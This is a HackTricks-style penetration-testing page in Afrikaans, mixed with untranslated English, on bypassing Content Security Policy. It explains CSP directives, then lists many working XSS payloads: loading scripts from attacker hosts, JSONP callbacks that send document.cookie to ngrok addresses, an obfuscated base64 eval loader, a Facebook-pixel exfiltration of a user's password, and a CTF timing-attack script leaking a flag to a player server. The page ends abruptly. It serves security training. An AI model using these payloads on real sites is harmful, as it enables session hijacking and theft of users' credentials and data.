Inhoudsveiligheidsbeleid (CSP) Bypass
Reading time: 35 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is CSP
Content Security Policy (CSP) word erken as 'n blaaier-tegnologie, hoofsaaklik gerig op beskerming teen aanvalle soos cross-site scripting (XSS). Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, frames en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne vanaf dieselfde domein (self) toelaat, insluitend inline-hulpbronne en die uitvoering van string-kode deur funksies soos eval
, setTimeout
, of setInterval
.
Die implementering van CSP gebeur deur middel van response headers of deur meta-elemente in die HTML-bladsy in te sluit. Blaaiers handhaaf hierdie beleid proaktief en blokkeer onmiddellik enige opgespoorde oortredings.
- Geïmplementeer via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Geïmplementeer via meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP kan afgedwing of gemonitor word met behulp van hierdie headers:
Content-Security-Policy
: Dwing die CSP af; die blaaier blokkeer enige oortredings.Content-Security-Policy-Report-Only
: Word gebruik vir monitering; rapporteer oortredings sonder om dit te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.
Defining Resources
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, en beheer aspekte soos inline JavaScript-uitvoering en die gebruik van eval()
. 'n Voorbeeldbeleid is:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direktiewe
- script-src: Laat spesifieke bronne toe vir JavaScript, insluitende URL's, inline scripts, en skripte wat deur event handlers of XSLT-stylbladsye geaktiveer word.
- default-src: Stel 'n standaardbeleid vir die haal van hulpbronne wanneer spesifieke fetch-direktiewe ontbreek.
- child-src: Spesifiseer toegelate hulpbronne vir web workers en ingebedde raam-inhoud.
- connect-src: Beperk URL's wat via interfaces soos fetch, WebSocket, XMLHttpRequest gelaai kan word.
- frame-src: Beperk URL's vir rame.
- frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos
<frame>
,<iframe>
,<object>
,<embed>
, en<applet>
. - img-src: Bepaal toegelate bronne vir beelde.
- font-src: Spesifiseer geldige bronne vir fonts wat met
@font-face
gelaai word. - manifest-src: Bepaal toegelate bronne van toepassings-manifestlêers.
- media-src: Bepaal toegelate bronne vir die laai van media-objekte.
- object-src: Bepaal toegelate bronne vir
<object>
,<embed>
, en<applet>
-elemente. - base-uri: Spesifiseer toegelate URL's vir laai via
<base>
-elemente. - form-action: Lys geldige eindpunte vir formulierindienings.
- plugin-types: Beperk mime-tipes wat 'n bladsy kan aanroep.
- upgrade-insecure-requests: Beveel browsers om HTTP-URL's na HTTPS te herskryf.
- sandbox: Pas beperkings toe soortgelyk aan die sandbox-atribuut van 'n
<iframe>
. - report-to: Spesifiseer 'n groep waaraan 'n verslag gestuur word as die beleid oortree word.
- worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker of ServiceWorker-skripte.
- prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat gefetch of geprefetch sal word.
- navigate-to: Beperk die URL's waarna 'n dokument op enige wyse kan navigeer (a, form, window.location, window.open, etc.)
Bronne
*
: Laat alle URL's toe behalwe dié metdata:
,blob:
,filesystem:
skemas.'self'
: Laat laai vanaf dieselfde domein toe.'data'
: Laat hulpbronne deur die data-skemas gelaai word (bv. Base64-geënkodeerde beelde).'none'
: Blokkeer laai vanaf enige bron.'unsafe-eval'
: Laat gebruik vaneval()
en soortgelyke metodes toe; nie aanbeveel vir sekuriteitsredes nie.'unsafe-hashes'
: Skakel spesifieke inline event handlers in.'unsafe-inline'
: Laat gebruik van inline hulpbronne soos inline<script>
of<style>
toe; nie aanbeveel vir sekuriteitsredes nie.'nonce'
: 'n witlys vir spesifieke inline skripte wat 'n kriptografiese nonce gebruik (eenmalig gebruik).- If you have JS limited execution it's possible to get a used nonce inside the page with
doc.defaultView.top.document.querySelector("[nonce]")
and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
Laai script deur nonce te hergebruik
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Witlys scripts met 'n spesifieke sha256-hash.'strict-dynamic'
: Laat scripts van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.'host'
: Bepaal 'n spesifieke host, soosexample.com
.https:
: Beperk URL'e tot dié wat HTTPS gebruik.blob:
: Laat hulpbronne toe om vanaf Blob-URL's gelaai te word (bv. Blob-URL's geskep via JavaScript).filesystem:
: Laat hulpbronne toe om vanaf die filesystem gelaai te word.'report-sample'
: Sluit 'n voorbeeld van die oortredende kode in die oortredingsverslag in (nuttig vir debugging).'strict-origin'
: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met dié van die dokument (slegs veilige oorspronge kan hulpbronne vanaf veilige oorspronge laai).'strict-origin-when-cross-origin'
: Stuur volle URL'e vir same-origin-versoeke maar stuur slegs die oorsprong wanneer die versoek cross-origin is.'unsafe-allow-redirects'
: Laat hulpbronne toe wat onmiddellik na 'n ander hulpbron herlei. Nie aanbeveel nie aangesien dit sekuriteit verswak.
Onveilige CSP-reëls
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Werkende payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
Dit werk nie, vir meer inligting check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Werkende payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
As jy op een of ander manier 'n toegelate JS-kode 'n nuwe script tag in die DOM met jou JS-kode laat skep, omdat 'n toegelate script dit skep, sal die nuwe script tag toegelaat word om uitgevoer te word.
Wildkaart (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Werkende payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Gebrek aan object-src en default-src
[!CAUTION] > Dit lyk of dit nie meer werk nie
Content-Security-Policy: script-src 'self' ;
Werkende payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Lêeroplaai + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
As jy 'n JS file kan upload, kan jy hierdie CSP omseil:
Werkende payload:
"/>'><script src="/uploads/picture.png.js"></script>
However, it's highly probable that the server is valideer die opgelaaide lêer en will only allow you to 'n bepaalde tipe lêers oplaai.
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server MIME type van die lêer op grond van die uitbreiding kies and browsers like Chrome will weier om Javascript uit te voer code inside something that should be an image. 'Gelukkig', daar is foute. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.
From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src
does not cover form actions.
warning
For some of the following payload unsafe-eval
is not even needed.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Laai 'n kwesbare weergawe van angular en voer arbitrêre JS uit:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads wat Angular + 'n biblioteek met funksies gebruik wat die window
object teruggee (check out this post):
tip
Die pos wys dat jy alle biblioteke vanaf cdn.cloudflare.com
(of enige ander toegelate JS-biblioteekrepo) kan laai, alle bygevoegde funksies van elke biblioteek kan uitvoer, en nagaan watter funksies van watter biblioteke die window
object teruggee.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS van 'n class name:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Misbruik van google recaptcha JS code
Volgens hierdie CTF writeup kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om arbitrêre JS code uit te voer wat die CSP omseil:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Meer payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Misbruik van www.google.com vir open redirect
Die volgende URL herlei na example.com (van here):
https://www.google.com/amp/s/example.com/
Misbruik van *.google.com/script.google.com
Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n bladsy binne script.google.com. Soos in hierdie verslag.
Derdepartye-eindpunte + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenario's soos hierdie, waar script-src
op self
gestel is en 'n bepaalde domein wat op die witlys is, kan met JSONP omseil word. JSONP endpoints laat onveilige callback methods toe wat 'n attacker toelaat om XSS uit te voer, working payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee bevat kant-en-klare JSONP endpoints vir CSP-bypass van verskeie webwerwe.
Die dieselfde kwesbaarheid sal voorkom as die trusted endpoint contains an Open Redirect omdat, as die aanvanklike endpoint vertrou word, redirects ook vertrou word.
Derdeparty misbruik
Soos beskryf in die following post, daar is baie derdeparty-domeine wat dalk êrens in die CSP toegelaat word en wat misbruik kan word om data te exfiltrate of JavaScript code uit te voer. Sommige van hierdie derdepartye is:
Entiteit | Toegelate Domain | Vermoëns |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is dit waarskynlik dat jy die CSP kan omseil deur op die derdeparty-diens te registreer en óf data na daardie diens te exfiltrate óf code uit te voer.
Byvoorbeeld, as jy die volgende CSP vind:
Content-Security-Policy: default-src 'self’ www.facebook.com;
of
Content-Security-Policy: connect-src www.facebook.com;
Jy behoort in staat te wees om data te exfiltrate, soortgelyk aan hoe dit nog altyd met Google Analytics/Google Tag Manager gedoen is. In hierdie geval volg jy die volgende algemene stappe:
- Skep 'n Facebook Developer account hier.
- Skep 'n nuwe "Facebook Login" app en kies "Website".
- Gaan na "Settings -> Basic" en kry jou "App ID"
- Op die target site waarvan jy data wil exfiltrate, kan jy data exfiltrate deur direk die Facebook SDK gadget "fbq" te gebruik via 'n "customEvent" en die data payload.
- Gaan na jou App "Event Manager" en kies die application wat jy geskep het (let wel dat die event manager in 'n URL gevind kan word wat soortgelyk is aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
- Kies die tab "Test Events" om die events te sien wat deur "jou" web site gestuur word.
Dan, aan die victim kant, voer jy die volgende code uit om die Facebook tracking pixel te initialize om na die attacker's Facebook developer account app-id te wys en 'n custom event uit te gee soos volg:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Wat die ander sewe derdeparty-domeine in die vorige tabel betref, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die voorafgaande blog post vir addisionele verduidelikings oor ander derdeparty-misbruike.
Bypass via RPO (Relative Path Overwrite)
Benewens die hierbo genoemde herleiding om padbeperkings te omseil, is daar nog 'n tegniek genaamd Relative Path Overwrite (RPO) wat op sommige servers gebruik kan word.
Byvoorbeeld, as CSP die pad https://example.com/scripts/react/
toelaat, kan dit as volg omseil word:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Die blaaier sal uiteindelik die lêer https://example.com/scripts/angular/angular.js
laai.
Dit werk omdat jy vir die blaaier 'n lêer met die naam ..%2fangular%2fangular.js
laai wat onder https://example.com/scripts/react/
geleë is, wat voldoen aan CSP.
Dan dekodeer hulle dit, wat effektief https://example.com/scripts/react/../angular/angular.js
versoek, wat gelykstaan aan https://example.com/scripts/angular/angular.js
.
Deur misbruik te maak van hierdie inkonsekwentheid in URL-interpretasie tussen die blaaier en die bediener, kan die padreëls omseil word.
Die oplossing is om nie %2f
as /
aan die bediener-kant te hanteer nie, sodat interpretasie tussen die blaaier en die bediener konsekwent is om hierdie probleem te vermy.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Iframes JS execution
ontbrekende base-uri
As die base-uri-direktief ontbreek, kan jy dit misbruik om 'n dangling markup injection uit te voer.
Boonop, as die bladsy 'n script laai met 'n relatiewe pad (soos <script src="/js/app.js">
) wat 'n Nonce gebruik, kan jy die base tag misbruik om dit vanaf jou eie bediener te laat laai, wat 'n XSS veroorsaak.
As die kwesbare bladsy met httpS gelaai word, gebruik 'n httpS url in die base.
<base href="https://www.attacker.com/" />
AngularJS gebeure
'n Spesifieke beleid bekend as Content Security Policy (CSP) kan JavaScript-gebeure beperk. Nietemin bied AngularJS aangepaste gebeure as 'n alternatief. Binne 'n gebeurtenis voorsien AngularJS 'n unieke objek $event
, wat na die inheemse blaaier se gebeurtenis-objek verwys. Hierdie $event
-objek kan uitgebuit word om die CSP te omseil. Opmerklik is dat in Chrome die $event/event
-objek 'n path
-eienskap het wat 'n array van objekke bevat wat by die gebeurtenis-uitvoeringsketting betrokke is, met die window
-objek altyd aan die einde. Hierdie struktuur is deurslaggewend vir sandbox escape-taktieke.
Deur hierdie array na die orderBy
-filter te stuur, is dit moontlik om daaroor te iterereer en die terminaalelement (die window
-objek) te gebruik om 'n globale funksie soos alert()
aan te roep. Die onderstaande kode-voorbeeld illustreer hierdie proses:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Hierdie kodefragment beklemtoon die gebruik van die ng-focus
direktief om die gebeurtenis te aktiveer, deur $event.path|orderBy
te gebruik om die path
-reeks te manipuleer, en deur die window
-objek te benut om die alert()
-funksie uit te voer, wat sodoende document.cookie
openbaar maak.
Vind ander Angular bypasses in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS en whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
’n CSP-beleid wat domeine op die witlys plaas vir script loading in ’n Angular JS-toepassing kan omseil word deur die aanroep van callback functions en sekere kwesbare classes. Meer inligting oor hierdie tegniek is beskikbaar in ’n gedetailleerde gids op hierdie git repository.
Werkende payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Other JSONP arbitrary execution endpoints can be found in here (sommige daarvan is verwyder of reggestel)
Bypass via Redirection
Wat gebeur wanneer CSP server-side redirection teëkom? As die redirection na 'n ander origin lei wat nie toegelaat is nie, sal dit steeds misluk.
However, according to the description in CSP spec 4.2.2.3. Paths and Redirects, if the redirection leads to a different path, it can bypass the original restrictions.
Hier is 'n voorbeeld:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
As CSP gestel is op https://www.google.com/a/b/c/d
, aangesien die pad in ag geneem word, sal beide /test
en /a/test
skripte deur CSP geblokkeer word.
Die finale http://localhost:5555/301
sal egter server-side omgerig word na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Omdat dit 'n omleiding is, word die pad nie in ag geneem nie, en die skrip kan gelaai word, wat dus die padbeperking omseil.
Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
Daarom is die beste oplossing om te verseker dat die webwerf geen open redirect kwesbaarhede het nie en dat daar geen domeine in die CSP-reëls is wat misbruik kan word nie.
Bypass CSP with dangling markup
Read how here.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
beteken dat jy enige script binne die code kan uitvoer (XSS kan code uitvoer) en img-src *
beteken dat jy in die webblad enige image van enige bron kan gebruik.
Jy kan hierdie CSP omseil deur die data via images te exfiltrate (in hierdie geval misbruik die XSS 'n CSRF waar 'n page wat deur die bot toeganklik is 'n SQLi bevat, en die flag via 'n image ekstraheer):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Jy kan hierdie konfigurasie ook misbruik om javascript-kode wat in 'n beeld ingesit is te laai. As byvoorbeeld die bladsy toelaat om beelde vanaf Twitter te laai. Jy kan 'n spesiale beeld skep, dit na Twitter upload en die "unsafe-inline" misbruik om 'n JS-kode uit te voer (soos 'n gewone XSS) wat die beeld sal laai, die JS daaruit uittrek en dit uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Met Service Workers
Service workers se importScripts
funksie is nie deur CSP beperk nie:
Policy Injection
Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
As 'n parameter wat deur jou gestuur is binne die deklarasie van die policy ingeplak word, kan jy die policy op 'n wyse verander wat dit nutteloos maak. Jy kan script 'unsafe-inline' toelaat met enige van hierdie bypasses:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Omdat hierdie directive die bestaande script-src directives oorskryf.
Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: ;_
, sal Edge die hele beleid verwyder.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
Let op die afwesigheid van die directive 'unsafe-inline'
Hierdie keer kan jy die slagoffer laat laai 'n bladsy onder jou beheer via XSS met 'n <iframe
. Hierdie keer gaan jy die slagoffer laat toegang kry tot die bladsy waarvandaan jy inligting wil onttrek (CSRF). Jy kan nie toegang tot die inhoud van die bladsy kry nie, maar as jy op een of ander manier die tyd wat die bladsy nodig het om te laai kan beheer, kan jy die inligting onttrek wat jy benodig.
Hierdie keer gaan 'n flag onttrek word: wanneer 'n char korrek geraai word via SQLi neem die response meer tyd as gevolg van die sleep function. Dan sal jy in staat wees om die flag te onttrek:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Deur Bookmarklets
Hierdie aanval behels 'n mate van social engineering waar die aanvaller oortuig die gebruiker om 'n skakel oor die bookmarklet van die browser te drag&dropped. Hierdie bookmarklet sal kwaadwillige javascript kode bevat wat, wanneer dit drag&dropped of geklik word, in die konteks van die huidige webvenster uitgevoer sal word, CSP omseil en toelaat om sensitiewe inligting te steel soos cookies of tokens.
Vir meer inligting kyk na die oorspronklike verslag hier.
CSP omseiling deur CSP te beperk
In hierdie CTF writeup, word CSP omseil deur binne 'n toegelate Iframe 'n meer beperkende CSP in te spuit wat verhinder het dat 'n spesifieke JS-lêer gelaai word wat, daarna, via prototype pollution of dom clobbering toegelaat het om 'n ander script te misbruik om 'n ewekansige script te laai.
Jy kan die CSP van 'n Iframe beperk met die csp
attribuut:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeup, dit was moontlik via HTML injection om 'n CSP meer te beperk sodat 'n script wat CSTI verhoed gedeaktiveer is en dus die kwesbaarheid exploiteerbaar geword het.
CSP kan meer beperkend gemaak word deur HTML meta tags te gebruik en inline scripts kan gedeaktiveer word deur die entry wat hul nonce toelaat te verwyder en spesifieke inline script via sha toe te laat:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration with Content-Security-Policy-Report-Only
As jy daarin slaag om die server te laat reageer met die header Content-Security-Policy-Report-Only
met 'n waarde wat deur jou beheer word (bv. as gevolg van 'n CRLF), kan jy dit na jou server laat wys, en as jy die JS inhoud wat jy wil exfiltreer omvou met <script>
en aangesien dit waarskynlik is dat unsafe-inline
nie deur die CSP toegelaat word nie, sal dit 'n CSP error veroorsaak en 'n deel van die script (wat die sensitiewe inligting bevat) vanaf Content-Security-Policy-Report-Only
na die server gestuur word.
Vir 'n voorbeeld kyk na hierdie CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking Inligting met CSP en Iframe
- Daar word 'n
iframe
geskep wat na 'n URL wys (kom ons noem dithttps://example.redirect.com
) wat deur CSP toegelaat word. - Hierdie URL herlei dan na 'n geheime URL (bv.
https://usersecret.example2.com
) wat nie deur CSP toegelaat word nie. - Deur na die
securitypolicyviolation
event te luister, kan mens dieblockedURI
-eienskap vang. Hierdie eienskap openbaar die domein van die geblokkeerde URI, en leak die geheime domein waarheen die aanvanklike URL herlei het.
Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag toon in die hantering van iframes met betrekking tot CSP, wat kan lei tot potensiële leak van sensitiewe inligting weens ongedefinieerde gedrag.
Nog 'n tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode berus op 'n binaire soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-direktief te wysig om daardie subdomeine te blokkeer of toe te laat. Hier is 'n stukkie kode wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Deur te monitor watter versoeke deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontdek.
Beide metodes benut die nuanses van CSP-implementasie en gedrag in blaaiers, en demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan leak.
Truuk van here.
Onveilige Tegnologieë om CSP te Omseil
PHP Errors when too many params
